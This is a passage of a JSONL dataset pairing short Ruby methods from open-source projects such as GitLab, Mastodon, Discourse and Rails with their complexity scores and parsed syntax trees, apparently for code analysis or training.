{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250709181000_update_saml_group_links_unique_index.rb","start_line":11,"raw_source":"def up\n    add_concurrent_index :saml_group_links, [:group_id, :saml_group_name, :provider], unique: true, name: NEW_INDEX_NAME\n    remove_concurrent_index :saml_group_links, [:group_id, :saml_group_name], name: OLD_INDEX_NAME\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"saml_group_links\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"saml_group_name\"]},{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"NEW_INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index\",{\"type\":\"sym\",\"children\":[\"saml_group_links\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"saml_group_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"OLD_INDEX_NAME\"]}]}]}]}]}]}","id":"5039e7f9-46ec-466f-bbdd-174e0008ef80"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/user_finder.rb","start_line":339,"raw_source":"def cache_email!(username, email)\n        return unless email\n\n        Gitlab::Cache::Import::Caching.write(email_cache_key(username), email)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_email!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"email\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"email_cache_key\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"lvar\",\"children\":[\"email\"]}]}]}]}","id":"e3545468-0804-42d9-b37b-537abedd9171"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/suspend_account_service_spec.rb","start_line":33,"raw_source":"def change_file_mode\n      change { File.stat(account.media_attachments.first.file.path).mode }\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"change_file_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"media_attachments\"]},\"first\"]},\"file\"]},\"path\"]}]},\"mode\"]}]}]}","id":"a0cd3266-f39d-441e-946d-da9c4eaae629"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processor.rb","start_line":49,"raw_source":"def process_controller_alias name, src, only_method = nil, file = nil\n      ControllerAliasProcessor.new(@tracker, only_method).process_controller name, src, file\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_controller_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"optarg\",\"children\":[\"only_method\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"file\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ControllerAliasProcessor\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@tracker\"]},{\"type\":\"lvar\",\"children\":[\"only_method\"]}]},\"process_controller\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}","id":"cafd7961-7a64-4920-bdff-112932477ce4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onpdiff.rb","start_line":19,"raw_source":"def diff\n    @diff ||= build_edit_script(compose)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diff\"]},{\"type\":\"send\",\"children\":[null,\"build_edit_script\",{\"type\":\"send\",\"children\":[null,\"compose\"]}]}]}]}","id":"b976f48d-c05d-475d-aeb6-0305aaf5faec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/protected_branches/update_service.rb","start_line":20,"raw_source":"def authorized?(protected_branch)\n      can?(current_user, :update_protected_branch, protected_branch)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"protected_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_protected_branch\"]},{\"type\":\"lvar\",\"children\":[\"protected_branch\"]}]}]}","id":"dd263d7f-4015-4197-b76d-622e76cacf1a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/pretty_text.rb","start_line":323,"raw_source":"def self.strip_hidden_unicode_bidirectional_characters(doc)\n    return if !DANGEROUS_BIDI_REGEXP.match?(doc.content)\n\n    doc\n      .css(\"code,pre\")\n      .each do |code_tag|\n        next if !DANGEROUS_BIDI_REGEXP.match?(code_tag.content)\n\n        DANGEROUS_BIDI_CHARACTERS.each do |bidi|\n          next if !code_tag.content.include?(bidi)\n\n          formatted = \"&lt;U+#{bidi.ord.to_s(16).upcase}&gt;\"\n          code_tag.inner_html =\n            code_tag.inner_html.gsub(\n              bidi,\n              \"<span class=\\\"bidi-warning\\\" title=\\\"#{I18n.t(\"post.hidden_bidi_character\")}\\\">#{formatted}</span>\",\n            )\n        end\n      end\n  end","complexity_score":34.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"strip_hidden_unicode_bidirectional_characters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"doc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DANGEROUS_BIDI_REGEXP\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"content\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"css\",{\"type\":\"str\",\"children\":[\"code,pre\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DANGEROUS_BIDI_REGEXP\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_tag\"]},\"content\"]}]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DANGEROUS_BIDI_CHARACTERS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bidi\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_tag\"]},\"content\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"bidi\"]}]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&lt;U+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bidi\"]},\"ord\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\"&gt;\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_tag\"]},\"inner_html=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_tag\"]},\"inner_html\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"bidi\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"bidi-warning\\\" title=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"post.hidden_bidi_character\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatted\"]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]}]}]}]}]}]}]}]}","id":"461e3b48-1a49-4082-aa29-0ad916fc64ce"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":21,"raw_source":"def test_named_args(recipient:, name:)\n    mail body: render(inline: \"Hello, #{name}\"),\n      to: recipient,\n      from: \"tester@example.com\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_named_args\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"recipient\"]},{\"type\":\"kwarg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Hello, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"recipient\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"tester@example.com\"]}]}]}]}]}","id":"52b872f6-4128-453a-9358-a9c6e64d7fa9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/offset/pagination_with_index_only_scan.rb","start_line":101,"raw_source":"def select_rows_from_cte\n          inner_table = Arel::Table.new(SUBQUERY_NAME)\n          lateral_scope = model.limit(1).select(scope.select_values)\n\n          keyset_order_by_columns.each do |column|\n            eq_condition = column.column_expression.eq(inner_table[column.attribute_name])\n\n            # If the column is nullable we have to do two lookups:\n            # - use = filter to handle the case where the selected value is not NULL\n            # - use IS NULL filter to handle the case where the selected value is NULL\n            lateral_scope = if column.nullable?\n                              not_null_condition = Arel::Nodes::And.new([\n                                eq_condition,\n                                inner_table[column.attribute_name].not_eq(nil)\n                              ])\n\n                              null_condition = Arel::Nodes::And.new([\n                                column.column_expression.eq(nil),\n                                inner_table[column.attribute_name].eq(nil)\n                              ])\n\n                              conditions = if Gitlab.next_rails?\n                                             Arel::Nodes::Or.new([not_null_condition, null_condition])\n                                           else\n                                             Arel::Nodes::Or.new(not_null_condition, null_condition)\n                                           end\n\n                              lateral_scope.where(Arel::Nodes::Grouping.new([conditions]))\n                            else\n                              lateral_scope.where(eq_condition)\n                            end\n          end\n\n          lateral_scope\n        end","complexity_score":54.45,"ast_json":"{\"type\":\"def\",\"children\":[\"select_rows_from_cte\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inner_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Table\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"SUBQUERY_NAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lateral_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"select_values\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keyset_order_by_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eq_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"column_expression\"]},\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner_table\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"attribute_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lateral_scope\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"nullable?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"not_null_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"And\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eq_condition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner_table\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"attribute_name\"]}]},\"not_eq\",{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"null_condition\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"And\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"column_expression\"]},\"eq\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner_table\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"attribute_name\"]}]},\"eq\",{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conditions\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"next_rails?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Or\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"not_null_condition\"]},{\"type\":\"lvar\",\"children\":[\"null_condition\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Or\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"not_null_condition\"]},{\"type\":\"lvar\",\"children\":[\"null_condition\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lateral_scope\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"Grouping\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lateral_scope\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"eq_condition\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"lateral_scope\"]}]}]}","id":"d294cb7e-637c-4207-ad7b-175e20fc10f6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/issuable_formatter.rb","start_line":48,"raw_source":"def assigned?\n        raw_data[:assignee].present?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assigned?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignee\"]}]},\"present?\"]}]}","id":"fba42753-56d0-40d9-a25f-a5f8757ef979"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/colors_helper.rb","start_line":79,"raw_source":"def project_phase_color_css\n    Project::PhaseDefinition.includes(:color).find_each do |definition|\n      resource_color_css(\"project_phase_definition\", definition, inline_foreground: true)\n\n      set_foreground_colors_for(\n        class_name: \".#{hl_inline_class('project_phase_definition', Base64.strict_encode64(definition.name).tr('=', '_'))}\",\n        color: definition.color\n      )\n    end\n  end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_phase_color_css\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"PhaseDefinition\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"color\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_color_css\",{\"type\":\"str\",\"children\":[\"project_phase_definition\"]},{\"type\":\"lvar\",\"children\":[\"definition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline_foreground\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_foreground_colors_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hl_inline_class\",{\"type\":\"str\",\"children\":[\"project_phase_definition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"name\"]}]},\"tr\",{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"color\"]}]}]}]}]}]}]}","id":"64fede08-2ed9-40ef-bd9a-33fa2df87129"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/data_clump.rb","start_line":103,"raw_source":"def clumps\n        candidate_clumps.map do |clump|\n          [clump, methods_containing_clump(clump)]\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"clumps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"candidate_clumps\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"clump\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clump\"]},{\"type\":\"send\",\"children\":[null,\"methods_containing_clump\",{\"type\":\"lvar\",\"children\":[\"clump\"]}]}]}]}]}","id":"95a4c6ce-9485-4046-965a-668896ee8668"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/http/client.rb","start_line":55,"raw_source":"def read(sync_config)\n        connection_config = sync_config.source.connection_specification\n        connection_config = connection_config.with_indifferent_access\n        connection_config = create_connection(connection_config)\n        if sync_config.increment_strategy_config.increment_strategy == \"page\"\n          @limit = sync_config.increment_strategy_config.limit\n          @offset = sync_config.increment_strategy_config.offset\n        else\n          @limit = sync_config.limit\n          @offset = sync_config.offset\n        end\n        query = sync_config.model.query\n        query(connection_config, query)\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"HTTP:READ:EXCEPTION\",\n                           type: \"error\",\n                           sync_id: sync_config.sync_id,\n                           sync_run_id: sync_config.sync_run_id\n                         })\n      end","complexity_score":39.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"source\"]},\"connection_specification\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[null,\"create_connection\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"increment_strategy_config\"]},\"increment_strategy\"]},\"==\",{\"type\":\"str\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@limit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"increment_strategy_config\"]},\"limit\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"increment_strategy_config\"]},\"offset\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"limit\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@offset\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"offset\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"model\"]},\"query\"]}]},{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"HTTP:READ:EXCEPTION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"sync_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"sync_run_id\"]}]}]}]}]},null]}]}","id":"5f38ac40-540b-44aa-af8f-0a3abdf3e72c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20180510230049_migrate_web_push_subscriptions.rb","start_line":11,"raw_source":"def down\n    remove_index :web_push_subscriptions, :user_id\n    remove_index :web_push_subscriptions, :access_token_id\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"web_push_subscriptions\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"web_push_subscriptions\"]},{\"type\":\"sym\",\"children\":[\"access_token_id\"]}]}]}]}","id":"40a6c4df-2889-47ef-9373-4a594e47587e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_version.rb","start_line":335,"raw_source":"def current_build_number\n        if self.is_live?\n          build_version\n        else\n          if candidate_builds.length > 0\n            candidate_builds.sort_by(&:upload_date).last.build_version\n          end\n        end\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"current_build_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_live?\"]},{\"type\":\"send\",\"children\":[null,\"build_version\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"candidate_builds\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"candidate_builds\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_date\"]}]}]},\"last\"]},\"build_version\"]},null]}]}]}","id":"438c0aba-77d3-45cf-9240-3942014f6920"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/facebook_custom_audience/client.rb","start_line":27,"raw_source":"def discover(_connection_config = nil)\n        catalog_json = read_json(CATALOG_SPEC_PATH)\n        catalog = build_catalog(catalog_json)\n        catalog.to_multiwoven_message\n      rescue StandardError => e\n        handle_exception(e, {\n                           context: \"FACEBOOK AUDIENCE:DISCOVER:EXCEPTION\",\n                           type: \"error\"\n                         })\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"discover\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_connection_config\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"catalog_json\",{\"type\":\"send\",\"children\":[null,\"read_json\",{\"type\":\"const\",\"children\":[null,\"CATALOG_SPEC_PATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"catalog\",{\"type\":\"send\",\"children\":[null,\"build_catalog\",{\"type\":\"lvar\",\"children\":[\"catalog_json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog\"]},\"to_multiwoven_message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"handle_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"str\",\"children\":[\"FACEBOOK 